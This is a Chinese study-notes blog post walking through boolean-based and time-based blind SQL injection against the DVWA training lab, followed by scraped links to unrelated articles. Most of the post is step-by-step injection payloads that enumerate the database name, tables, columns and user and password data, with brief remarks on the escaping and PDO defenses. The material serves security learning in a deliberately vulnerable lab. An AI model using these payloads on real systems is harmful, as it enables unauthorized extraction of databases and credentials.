DVWA-基于布尔值的盲注与基于时间的盲注学习笔记

基于布尔值的盲注

一、DVWA分析

将DVWA的级别设置为low

1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变,此次不能简单的通过回显的值来进行一般的注入了,可以通过bool盲注或者基于时间的注入。

  

2.判断sql是否存在注入,以及注入的类型

下图说明存在字符型注入

  

  

  

3.猜解当前数据库名

3.1猜解当前数据库的长度

1' and  length(database())=4 #

  

3.2猜解数据库的名称

1' and ascii(substr(database(),1,1))>99 #

  

1' and ascii(substr(database(),1,1))>100 #

  

3.3从上面的图可以看到当前的数据库名的第一位是d,依照上面的方法猜解数据库的其他3位 猜解到数据库名位dvwa

4.猜解数据库中的表名

4.1猜解数据库中有几个表,下图可以得出有2个表

1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#

  

4.2猜解表名称的长度

猜解第一个表的长度

1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=9#

猜解第二个表的长度

1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5 #

4.3猜解表的名称

猜解第一个表

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))=103#

依次猜解,获得第一个表的名称(guestbook)

猜解第二个表

1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1))=117#

依次猜解,获得第二个表的名称(users)

5.猜解表中的字段名

5.1猜解users表中有几个字段

1' and (select count(column_name) from information_schema.columns where table_name='users')=8#

5.2猜解每个字段的长度

猜解第一个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7#

猜解第二个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))=10#

猜解第三个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 2,1))=9#

猜解第四个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 3,1))=4#

猜解第五个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 4,1))=8#

猜解第六个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 5,1))=6#

猜解第七个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 6,1))=10#

猜解第八个字段的长度

1' and length((select column_name from information_schema.columns where table_name='users' limit 7,1))=12#

5.3猜解字段的名称

这里只猜解第三个字段(user)和第四个字段(password)的名称

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))=117#

依次猜解,获得字段的名称(user)

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1))=112#

依次猜解,获得字段的名称(password)

5.4猜解数据

1' and (select count(user) from users)=5#  猜解到user字段有5行数据

1' and  ascii(substr((select user from users limit 0,1),1,1))=97#

依次猜解user字段的所有行数的数据

1' and ascii(substr((select password from users limit 1,1),1,1))=85#

将DVWA的级别设置为medium

1.可以看到前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数,分析源码mysql_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义

  

2.判断是否存在注入点以及注入的类型

输入如下两行,判断返回的结果,下图说明存在数字型注入

1 and 1=1#

1 and 1=2#

  

  

3.猜解当前数据库名

3.1猜解数据库的长度

1 and length(database())=4#

  

3.2猜解数据库的名称

1 and ascii(substr(database(),1,1))=100#

依次猜解,获得当前数据库的名称位dvwa

4.猜解数据库中的表

4.1猜解数据库中有几个表

1 and (select count(table_name) from information_schema.tables where table_schema=database())=2

4.2猜解表名称的长度

猜解第一个表的长度

1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#

猜解第二个表的长度

1 and length((select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1))=5#

4.3猜解表的名称

猜解第一个表

1 and ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1))=103#

依次猜解,获得第一个表的名称(guestbook)

猜解第二个表

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117#

依次猜解,获得第二个表的名称(users)

5.猜解表中的字段名

5.1猜解users表中有几个字段

1 and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8#

5.2猜解字段的长度

5.3猜解字段的名称

将DVWA的级别设置为High

1.分析源码,利用cookie传递参数id,当sql查询结果为空时,会执行sleep函数(防止基于时间的盲注),然后在sql查询语句中加入了limit限制,但可以通过#注释掉来绕过防御。

  

将DVWA的级别设置为Impossible

1.分析源码,对参数使用PDO技术,PDO技术将用户传递的参数与sql查询语句完全分离,杜绝了sql注入

  

DVWA-SQL基于时间盲注

将DVWA的级别设置为low

1.判断是否存在注入点以及注入类型

通过输入以下两行,根据返回的延迟判断存在字符型注入

1 and sleep(5)#

1' and sleep(5)#

2.猜解当前数据库名

2.1猜解当前数据库的长度

1'  and if(length(database())=4,sleep(5),1)#

2.2猜解数据库的名称

1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#

依次猜解,获得当前数据库的名称位dvwa

3.猜解数据库中的表

3.1猜解数据库中有几个表

1'  and if((select count(table_name) from information_schema.tables where table_schema='dvwa')=2,sleep(5),1)#

3.2猜解表名称的长度

猜解第一个表的长度

1' and if(length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=9,sleep(5),1)#

猜解第二个表的长度

1' and if(length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5,sleep(5),1)#

3.3猜解表的名称

猜解第一个表

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))=103,sleep(5),1)#

依次猜解,获得第一个表的名称(guestbook)

猜解第一个表

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1))=117,sleep(5),1)#

依次猜解,获得第二个表的名称(users)

4. 猜解表中的字段名

4.1猜解users表中有几个字段

1' and if((select count(column_name) from information_schema.columns where table_name='users')=8,sleep(5),1)#

4.2猜解字段的名称

同上

  

DVWA-基于布尔值的盲注与基于时间的盲注学习笔记的更多相关文章

  1. 位运算求最值 学习笔记 (待补充QAQ)

    没有什么前言?直接进入正题qwq 俩俩异或 求最值: 建trie树 O(n)枚举每个数找这个数的最值,每次反走就成,还可以剪枝一波(如果在某位已经小于ans显然可以直接return? void Ins ...

  2. Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)

    Day41 login3(SKCTF)

  3. SQL基于时间的盲注过程

    0x00 前言 由于要使用到基于时间的盲注,但是我觉得基于时间的盲注其实就是基于布尔的盲注的升级版,所以我想顺便把基于布尔的盲注分析总结了: 首先我觉得基于时间的盲注和基于布尔的盲注的最直观的差别就是 ...

  4. mysql基于“时间”的盲注

    无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 =================================================================== ...

  5. Python:SQLMap源码精读—基于时间的盲注(time-based blind)

    建议阅读 Time-Based Blind SQL Injection Attacks 基于时间的盲注(time-based blind) 测试应用是否存在SQL注入漏洞时,经常发现某一潜在的漏洞难以 ...

  6. Swift语言指南(七)--语言基础之布尔值和类型别名

    原文:Swift语言指南(七)--语言基础之布尔值和类型别名 布尔值 Swift有一个基本布尔类型,叫做布尔(bool),布尔值又称逻辑值(logical),因为它只能为真(true)或假(false ...

  7. 第一节 Python基础之数据类型(整型,布尔值,字符串)

    数据类型是每一种语言的基础,就比如说一支笔,它的墨有可能是红色,有可能是黑色,也有可能是黄色等等,这不同的颜色就会被人用在不同的场景.Python中的数据类型也是一样,比如说我们要描述一个人的年龄:小 ...

  8. Python数据类型-01.数字和布尔值

    本节主要介绍Python中的基础知识中的数据类型,数字和布尔值 介绍几个知识点:1)内置函数print()的用法,直接打印括号里面的内容,或者print后跟多个输出,以逗号分隔.2)内置函数type( ...

  9. [python学习篇][书籍学习][python standrad library][内置类型]对象测试真值,布尔值操作, 比较操作

    几乎所有对象都可以比较.测试真值.转换为字符串(其实就是用repr()函数,或略有差异的str()函数来转换) 1 对象是否为真 任何对象都可以测试真值,用于if或while的条件或下面布尔运算的操作 ...

随机推荐

  1. C#反射调用类的私有方法

    void Main() { var type = typeof(StockClass); type.Dump(); var fields=type.GetFields(BindingFlags.Ins ...

  2. 漫谈golang设计模式 工厂模式

    工厂模式 意义:创建过程交给专门的工厂子类去完成.定义一个抽象的工厂类,再定义具体的工厂类来生成子类等,它们实现在抽象按钮工厂类中定义的方法.这种抽象化的结果使这种结构可以在不修改具体工厂类的情况下引 ...

  3. ts常用数据类型

    1.1 布尔值 let isTrue: boolean = false; console.log(isTrue); 1.2 数字 let age: number = 26; console.log(a ...

  4. nginx 配置不当导致目录遍历下载漏洞

    今天做百度杯的时候发现一个题很有意思. 点进题目,发现了一个js重定向到login.php,抓包发现请求的header中cookie=0,做过这种类似的题目,o==false,在请求头里面将cooki ...

  5. 从 http协议角度解析okhttp

    Okhttp 介绍 OkHttp 是 Square 公司开源的一款网络框架,封装了一个高性能的 http 请求库. 支持 spdy.http2.0.websocket 等协议 支持同步.异步请求 封装 ...

  6. spark 在yarn模式下提交作业

    1.spark在yarn模式下提交作业需要启动hdfs集群和yarn,具体操作参照:hadoop 完全分布式集群搭建 2.spark需要配置yarn和hadoop的参数目录 将spark/conf/目 ...

  7. springcloud微服务实战:Eureka+Zuul+Ribbon+Hystrix+SpringConfig

    原文地址:http://blog.csdn.net/yp090416/article/details/78017552 springcloud微服务实战:Eureka+Zuul+Ribbon+Hyst ...

  8. MSSQL 插入数据时候,如果存在则更新的方法分享

    摘要:下文讲述MSSQL中,插入数据时,如果存在则更新,否则就插入数据的方法分享实验环境:sql server 2017 mssql中,我们可以采用 MERGE INTO 关键字实现此功能,当两者匹配 ...

  9. JavaScript—Json操作

    https://www.cnblogs.com/jimmyshan-study/p/11229373.html https://www.cnblogs.com/cailijuan/p/10150918 ...

  10. Python—函数的参数传递

    形参和实参 形参即形式参数,函数完成其工作时所需的信息.形参不占用内存空间,只有在被调用时才会占用内存空间,调用完了即被释放. 实参即实际参数,调用函数时传给函数的信息. # -*- coding: ...